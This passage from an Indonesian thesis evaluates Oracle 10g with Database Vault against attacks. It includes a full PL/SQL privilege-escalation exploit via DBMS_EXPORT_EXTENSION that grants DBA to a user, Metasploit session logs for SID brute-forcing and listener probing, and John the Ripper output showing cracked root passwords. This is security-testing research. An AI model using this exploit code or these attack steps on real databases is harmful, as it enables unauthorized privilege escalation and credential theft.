1 oracle oinstall
1 oracle oinstall
1 oracle oinstall
46 Aug
1517 Aug
505 Aug
9 06:20 mytest
9 06:21 bbb
9 06:21 aaa
Berdasarkan percobaan diatas dapat terlihat
bahwa dengan
mengeksploitasi java pada oracle dengan raptor_exec.sql, penulis
dapat menuliskan perintah sistem operasi pada folder oinstall oracle.
Folder oinstall adalah folder yang terbentuk pada saat instalasi awal
oracle dan digunakan sebagai acuan untuk instalasi-instalasi
berikutnya. Dengan eksploitasi pada perintah pada sistem operasi
tidak tertutup kemungkinan jenis perintah yang dibuat selanjutnya
95
antara lain shutdown, restart dapat mengganggu dan merusak
database.
d.
Eksploitasi DBMS_EXPORT_EXTENTION
Paket dbms_export_extention diperlukan untuk melakukan export
file
pada
database
oracle.
Isu
rentannya
fungsi
get_domain_index_metadata pada dbms_export_extention yang
dapat membuat user dengan akses database merubah privilegenya
menjadi seorang DBA menjadi hal yang perlu diwaspadai.
Berdasarkan data dari oracle sendiri, produk yang pernah terinfeksi
adalah oracle dengan versi 10.1.0 kebawah. Penulis ingin mencoba
mengeksploitasi dbms_export_extention pada oracle 10g release 2
yang telah di instalasi dengan fitur tambahan database vault.
Membuat
paket
dan
injeksi
fungsi,
fungsi
dengan user SYS
CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo
SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo
SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
akan
dijalankan
96
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
/
Sisipkan fungsi ini pada dbms_export_extension
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE';
TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.4.0';
GMFLAGS := 1;
v_Return :=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
97
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/
Berikut adalah gambar dari hasil exploitasi dbms_export_extention
Gambar 4.6 Hasil exploitasi dbms_export_extension
Seperti terlihat pada gambar diatas bahwa ada pelanggaran pada
realm DVSYS.AUTHORIZE_EVENT walaupun sql command
tersebut di jalankan dengan user SYS dan injeksi prosedur gagal.
Dengan ini terbukti bahwa oracle 10g ditambah dengan database
vault mampu menahan serangan exploitasi dbms_export_extention.
Hal ini pun tampak pada laporan database vault untuk pelanggaran
pada realm. Berikut adalah bentuk laporan yang diberikan database
vault atas pelanggaran pada realm.
98
Gambar 4.7 Hasil laporan pada database vault
4.4
Eksploitasi oracle dengan suatu program
Begitu banyak program freeware di internet mengenai web hacking,
exploitasi program membuat penulis juga ingin mencoba pada oracle 10g
1.
Metasploit Framework 3.2
Metasploit adalah freeware program yang dibuat oleh peneliti
independen yang bekerja di industri pengamanan. Metasploit
merupakan antar muka untuk exploitasi dan digunakan bagi para
developer untuk menguji sistem keamanan yang dimiliki. Metasploit
berjalan diatas berbagai macam OS hingga iphone. Penulis ingin
mencoba melakukan exploitasi di beberapa bagian penting dari
oracle 10g yaitu SID dan listener. Seperti yang telah dijelaskan pada
bab sebelumnya SID berfungsi sebagai identifikasi suatu database
pada sistem, SID bersifat unik sehingga bila memiliki lebih dari satu
99
database tidak boleh memiliki SID yang sama. Sedangkan listener
sesuai dengan namanya berfungsi untuk mendengar, merupakan
proxy yang mengatur lalu lintas jaringan antara database dengan
client.
a.
Mengetahui SID oracle
msf > use auxiliary/admin/oracle/sid_brute
msf auxiliary(sid_brute) > set RHOST 192.168.1.10.
RHOST => 192.168.1.10.
msf auxiliary(sid_brute) > run
[*] Starting brute force on 192.168.1.10., using sids
from /root/metasploit/data/wordlists/sid.txt...
[*] Found SID 'PLSExtProc' for host 192.168.1.10.
[*] Found SID 'ORCL' for host 192.168.1.10.
[*] Done with brute force...
[*] Auxiliary module execution completed
Berdasarkan hasil diatas maka dengan mudah metasploit
mengetahui SID oracle dari database yang ada. Hal ini perlu
diwaspadai karena SID bisa saja dirubah sehingga database
bisa hang.
Berikutnya penulis ingin mencoba untuk mengganti SID yang
telah diketahui.
Enumerasi SID
msf > use auxiliary/scanner/oracle/sid_enum
msf auxiliary(sid_enum) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 192.168.1.10...
[*] Auxiliary module execution completed
100
Terlihat pada Oracle 10g keamanan listener tidak dapat
ditembus karena keamanan dibuat sama dengan autentifikasi
OS. Sehingga tidak mungkin untuk merubah SID. Sehingga
dapat disimpulkan bahwa pada oracle 10g memiliki tingkat
keamanan yang baik karena dapat memproteksi SID dan sulit
untuk merubahnya.
b.
Mengetahui tentang listener oracle
msf > use auxiliary/admin/oracle/tnscmd
msf auxiliary(tnscmd) > set RHOST 192.168.1.10
RHOST => 192.168.1.10
msf auxiliary(tnscmd) > run
[*]
Sending
'(CONNECT_DATA=(COMMAND=VERSION))'
to
127.0.0.1:1521
[*] writing 90 bytes.
[*] reading
(DESCRIPTION=(TMP=)(VSNNUM=169870336)(ERR=0))#\#TNSLSNR
for Linux: Version 10.2.0.4.0 - Production
TNS for Linux: Version 10.2.0.4.0 - Production
Unix Domain Socket IPC NT Protocol Adaptor for Linux:
Version 10.2.0.4.0 - Production
Oracle Bequeath NT Protocol Adapter for Linux: Version
10.2.0.4.0 - Production
TCP/IP NT Protocol Adapter for Linux: Version 10.2.0.4.0
- Production,,
#@
[*] Auxiliary module execution completed
Berdasarkan hasil pengujian diatas, penulis dapat mengetahui
versi oracle yang digunakan dengan mengetahui tipe TNS
101
sehingga bila ingin mengeksploitasi listener lebih lanjut tinggal
mencari di internet berdasarkan versi oracle yang dimiliki.
c.
Drop Table Trigger
Trigger adalah blok PL/SQL yang disimpan dalam database
dan dijalankan secara implisit sebagai respon terhadap
perubahan yang telah ditentukan dalam database.
Perintah DML seperti INSERT, UPDATE, dan DELETE
adalah pemicu umum terjadinya trigger. Operasi DDL seperti
ALTER dan DROP juga dapat memicu dijalankannya trigger.
Untuk percobaan metsploit berikut tidak seperti umumnya
trigger. Percobaan ini dimaksudkan untuk membuat modul
memberi akses DBA pada scott
msf > use auxiliary/admin/oracle/droptable_trigger
msf
auxiliary(droptable_trigger)
>
set
RHOST
192.168.1.10
RHOST => 192.168.1.10
msf auxiliary(droptable_trigger) > run
[*] Creating 'msf.sql' file ...
[*] Generated output file
/root/metasploit/data/exploits/msf.sql
[*] Auxiliary module execution completed
Lalu dilanjutkan dengan mengetik sql command
SCOTT/[email protected]/orcl < msf.sql
Dan hasilnya adalah “insufficient privilege”. Dengan ini
terbukti bahwa tingkat keamanan pada oracle cukup baik
karena dapat menolak alter command untuk merubah privilege.
102
2.
John The Ripper (JTR) 1.7.3.1
Merupakan freeware untuk mengcrack password dan berjalan pada
berbagai OS. Tujuan utamanya adalah mendeteksi kelemahan
password unix.
Terdapat 3 mode pada JTR untuk mendecrypt password:
-
Single Mode
Pada Single Mode, JTR akan berusaha mencari password yang
paling lemah dari seluruh password. Cara ini merupakan cara
yang paling cepat.
-
Wordfile Mode
Harus membuat terlebih dahulu password file passwd.txt dan
mempunyai kamus kata words.lst
-
Incremental Mode
merupakan cara yang paling lambat dan berusaha untuk
mendecrypt semua password, akan memakan waktu
Untuk percobaan ini penulis menggunakan teknik wordfile mode
Password files required, but none specified
No
table
of
contents
entries
found.[root@maroeti
run]#
./john --show /tmp/crack.passwd.db
root:maroeti:0:0:root:/root:/bin/bash
maroeti:maroeti:501:502::/home/maroeti:/bin/bash
2 password hashes cracked, 1 left
Berdasarkan hasil diatas maka terbukti bahwa dapat mengetahui
password root.
Setelah dilakukan pengamatan, cara kerja JTR
adalah dengan mengisi password list atau mengecek user name
103
dengan password dictionary yang telah ada atau kita dapat
membeli kumpulan password list pada JTR, sehingga tidak secara
langsung dapat mengcrack password-password yang kita miliki.
4.5
Laporan Audit
Bentuk laporan pada database vault terbagi menjadi dua bagian yaitu:
-
Database vault reports
Memberikan laporan yang berkenaan dengan konfigurasi database
vault dan audit, antara lain: command rule configuration issue, realm
violation report. Berikut adalah gambaran bentuk pelaporan khusus
tentang database vault.
Gambar 4.8 Bentuk pelaporan khusus database vault
Sebagai contoh apabila ingin mengaudit tentang realm maka hasilnya
adalah seperti pada gambar berikut.
104
Gambar 4.9 Realm audit
Terlihat pada gambar diatas terjadi pelanggaran-pelanggaran pada
realm dan terlihat jelas siapa yang melakukan, jam berapa dan apa
command apa yang ditulis untuk melanggar realm.
-
General Security Reports
Memberikan laporan secara umum tentang keamanan pada database,
antara lain: akses objek oleh publik, siapa saja yang memiliki DBA
roles, system privilege, akses ke objek yang sensitif, akses objek
oleh non publik, eksekusi yang dilakukan oleh public pada SYS
PL/SQL prosdur, dll. Berikut adalah gambaran bentuk pelaporan
pada general security reports.
105
Gambar 4.10 Bentuk pelaporan keamanan secara umum
Bila ada pemberian akses DBA pada user biasa maka laporannya
dapat terlihat pada accounts with DBA role report, sehingga kita
dapat mengantisipasi yang mencoba melakukan pelanggaran pada
database dengan account DBA walaupun tidak memiliki hak admin.
Berikut adalah gambaran dari account with DBA role
Gambar 4.11 Laporan account with dba role
106
Terlihat pada gambar diatas bahwa user dengan nama scott memiliki
akses sebagai DBA, padahal scott tidak memiliki tanggung jawab
atas database sehingga hal ini dapat menjadi penyelidikan lebih
lanjut.
Selain itu database vault juga memiliki sistem monitoring untuk
memantau keamanan dari database, seperti: kebijakan keamanan
berdasarkan kategori (privilege grants, database role), percobaan
untuk mengakses database. Berikut ini adalah gambaran sistem
monitoring pada database vault berdasarkan kategori dan percobaan
akses ke database.
Gambar 4.12 Sistem monitoring pada database vault
Dengan sistem ini database vault owner dapat memantau seluruh
kegiatan pengamanan database sehingga kemungkinan terjadinya
pelanggaran akan sangat kecil.
.
BAB V
PENUTUP
5.1
Kesimpulan
Setelah melakukan pengujian terhadap oracle database 10g release 2 yang
ditambahkan dengan database vault, maka dapat diambil kesimpulan sebagai
berikut :
1.
Sistem keamanan yang dimiliki oracle database 10g release 2 dan
database vault telah memenuhi karakteristik sistem keamanan yang
baik. Hal ini dibuktikan dengan terproteksinya database dari user
yang tidak berhak bahkan dari DBA sendiri.
2.
Adanya sistem monitoring keamanan untuk database secara real
time untuk memantau setiap aktivitas pada database, sehingga
kemungkinan terjadinya pelanggaran pada database amat kecil.
3.
Adanya sistem pelaporan untuk audit pada database sehingga
memudahkan penelusuran dan pengecekan pada database.
5.2
Saran
Setelah mengamati dan melakukan pengujian pada oracle database 10g
release 2 dan database vault maka terdapat beberapa masukan:
1.
Telah hilangnya super user
privilege pada database tidak
menghilangkan kemampuan seorang DBA untuk menampilkan hash
107
108
password dari semua user termasuk database vault owner, maka
secara logika jika password dapat ditampilkan dalam bentuk enkripsi
hanya tinggal mencari tool untuk mendekripsi password yang ada,
freeware tools yang harus diwaspadai adalah metasploit dan john the
ripper.
2.
Manajemen pengaturan yang sulit untuk role-role, karena pekerjaan
satu orang database administrator harus dikerjakan oleh beberapa
orang demi antisipasi keamanan database secara internal namun
apakah dapat dijamin juga beberapa orang ini dapat dipercaya dan
akan lebih banyaknya birokrasi sehingga tidak efektif dan efisien
3.
Perlu ditingkatkannya penjagaan akan database baik secara langsung
maupun melalui IDS dengan terbukti begitu banyaknya programprogram eksploitasi yang mudah didapat di internet dan gratis.
Download